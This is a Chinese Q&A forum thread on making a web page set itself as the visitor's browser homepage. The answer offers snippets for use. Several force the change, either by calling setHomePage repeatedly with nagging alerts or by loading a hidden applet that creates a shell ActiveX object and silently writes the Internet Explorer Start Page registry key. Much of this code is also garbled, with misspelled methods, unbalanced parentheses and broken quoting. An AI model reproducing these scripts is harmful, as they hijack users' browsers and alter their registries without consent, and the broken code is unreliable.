怎么让在jsp代码中将网页设置为主页

发布网友 发布时间:2022-04-23 22:26

我来回答

2个回答

热心网友 时间:2023-07-08 15:34

jsp 中加入一段脚本就可以了
如下
加入收藏夹,设为首页代码
把以下代码<Body>相应位置
<a target=_top href=javascript:window.external.AddFavorite('http://www.21kx.com/;,'中国免费资源情报站')>加入收藏</a>
<a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('www.21kx.com/);">设为首页</a>

鼠标指向时提示设为首页

将下列代码插入<body>区中:

<A href=http://www.jn001.net onmouseover="this.style.behavior='url(#default#homepage)';this.setHomePage(http://www.21kx.com';);" target="_blank">设为首页</A>

打开页面时自动弹出窗口询问是否设为首页
将以下代码放在<head></head>之间:

<script language="javascript">
function myhomepage(){
this.homepage.style.behavior='url(#default#homepage)';this.homepage.sethomepage('http://www.21kx.com;);
}
</script>
<p align="center"><a href="http://www.21kx.com" name="homepage"
onclick="myhomepage();"></a>

再将下面代码加入<body>内:

onload="myhomepage();"
即:<body onload="myhomepage();">

离开时自动提示设为首页

<body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage('http://www.jn001.net';)))BASEBody.setHomePage('http://www.21kx.com/;);">

强制设为主页代码:

代码一(设置为主页就再弹了):

<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content="MSHTML 5.00.3826.2400" name=GENERATOR>
<META content=FrontPage.Editor.Document name=ProgId></HEAD>
<BODY><SPAN id=hp style="BEHAVIOR: url(#default#homepage)"></SPAN>
<SCRIPT language=javascript>
var u,i
u="http://www.ybo.cn";
var showThank=false;
try{
for(i=1;i<=5;i++)
{
if(hp.isHomePage(u))
{
break;
}
else
{
hp.setHomePage(u);
if(!hp.isHomePage(u))
{
alert("方便下次光临本站,请点 '是(Y)' ,就不再弹了!");
}
else
{
showThank=true;
}
}
}
if(showThank)
{
alert("谢谢您的支持.");
}
}
catch(e){
}
finally{
}
//location.href=u;
</SCRIPT>
</BODY></HTML>

代码三:

<script>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval
(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0
code=com.ms.activeX.ActiveXCompoment></APPLET>");function
yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject
();a1.setCLSID("{0D43FE01-F093-11CF-40-00A0C9054228}");try
{Shl.RegWrite("hkcu\Software\Microsoft\Internet
Expiorer\Main\Start Page",http://www.ybo.cn);}catch(e)
{}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>

代码四:

<script>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-40-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://www.ybo.cn);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>

热心网友 时间:2023-07-08 15:35

真详细 学习了

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com